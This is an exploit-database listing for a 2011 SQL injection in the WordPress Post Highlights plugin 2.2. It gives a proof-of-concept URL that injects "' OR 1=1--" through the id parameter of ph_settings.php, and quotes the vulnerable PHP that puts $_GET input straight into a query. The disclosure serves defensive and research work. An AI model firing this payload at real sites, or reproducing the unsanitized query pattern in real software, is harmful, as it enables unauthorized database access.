header-logo
Suggest Exploit
vendor:
Post Highlights
by:
Miroslav Stampar
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Post Highlights
Affected Version From: 2.2
Affected Version To: 2.2
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:post_highlights
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2011

WordPress post highlights plugin <= 2.2 SQL Injection Vulnerability

A SQL injection vulnerability exists in WordPress post highlights plugin version 2.2 and earlier. The vulnerability is due to insufficient sanitization of user-supplied input in the 'id' parameter of the 'ph_settings.php' script. An attacker can exploit this vulnerability to inject and execute arbitrary SQL commands in the application's back-end database.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: WordPress post highlights plugin <= 2.2 SQL Injection Vulnerability
# Date: 2011-09-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/post-highlights.2.2.zip
# Version: 2.2 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/post-highlights/ajax/ph_settings.php?id=-1' OR 1=1--%20

---------------
Vulnerable code
---------------
$id = $_GET["id"];
...
$query = "SELECT guid, ID FROM $wpdb->posts WHERE post_type='attachment' AND post_parent='$id'";

Navigation

Suggest Exploit

Services By CQR